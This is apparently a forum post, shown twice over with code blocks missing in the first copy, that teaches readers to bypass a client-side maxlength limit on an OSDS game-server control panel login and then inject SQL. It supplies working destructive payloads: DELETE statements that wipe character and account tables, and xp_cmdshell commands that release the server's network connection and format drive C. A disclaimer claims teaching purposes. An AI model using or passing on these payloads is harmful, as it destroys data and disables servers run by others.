This is a nice trick how to bypass janvier's anti-sql-injection, that he put into OSDS in just a few steps.
First, get [Only registered and activated users can see links. Click Here To Register...].
Find a server that has an OSDS control panel and go to the panel login page.
Now, janvier's anti-sql-injection comes in. You can't write more then 12 letters, so you can't inject anything decent...
So here's what we do. Press Ctrl+U to open up the source code and press Ctrl+F to open up search in the sourcecode. Search for "maxlength" (without the quotes). You will come to something like
So delete that parameter.
Not the whole input, just the maxlength parameter, so the line
should look like
Then, press "Apply Changes" at the top, and close the sourcecode tab.
Hooray! We can write as long as we want ^^
And from now on, we inject the same way as we would normally.
Note: After the page is refreshed, you have to remove maxlength again.
After you inject, you should see a screen like this:
A few good injections:
(Deletes all characters)
(Deletes all accounts)
And for the more drastic ones:
(Disconnects the internet from the server)
(Formats drive C)
Janvier, I hope your CMS is protected a little better... Haven't tried it on CMS yet.
IMPORTANT:
SQL injections are illegal, and if you do so, you do so on your own free will, knowing that legal action may be taken.
This tutorial's maker does not take any blame for the damage this may have caused. If users are to use this, they do so on their own will. This tutorial was made for teaching purposes only. User discretion is advised.
First, get [Only registered and activated users can see links. Click Here To Register...].
Find a server that has an OSDS control panel and go to the panel login page.
Now, janvier's anti-sql-injection comes in. You can't write more then 12 letters, so you can't inject anything decent...
So here's what we do. Press Ctrl+U to open up the source code and press Ctrl+F to open up search in the sourcecode. Search for "maxlength" (without the quotes). You will come to something like
HTML Code:
maxlength='12'
Not the whole input, just the maxlength parameter, so the line
HTML Code:
<input type='text' name='accname' maxlength='12' />
HTML Code:
<input type='text' name='accname' />
Hooray! We can write as long as we want ^^
And from now on, we inject the same way as we would normally.
Note: After the page is refreshed, you have to remove maxlength again.
After you inject, you should see a screen like this:
A few good injections:
Code:
a' DELETE FROM character..user_character--
Code:
a' DELETE FROM account..Tbl_user DELETE FROM character..USER_PROFILE--
And for the more drastic ones:
Code:
a' exec master..xp_cmdshell 'ipconfig /release'--
Code:
a' exec master..xp_cmdshell 'format "C:/"'--
Janvier, I hope your CMS is protected a little better... Haven't tried it on CMS yet.
IMPORTANT:
SQL injections are illegal, and if you do so, you do so on your own free will, knowing that legal action may be taken.
This tutorial's maker does not take any blame for the damage this may have caused. If users are to use this, they do so on their own will. This tutorial was made for teaching purposes only. User discretion is advised.
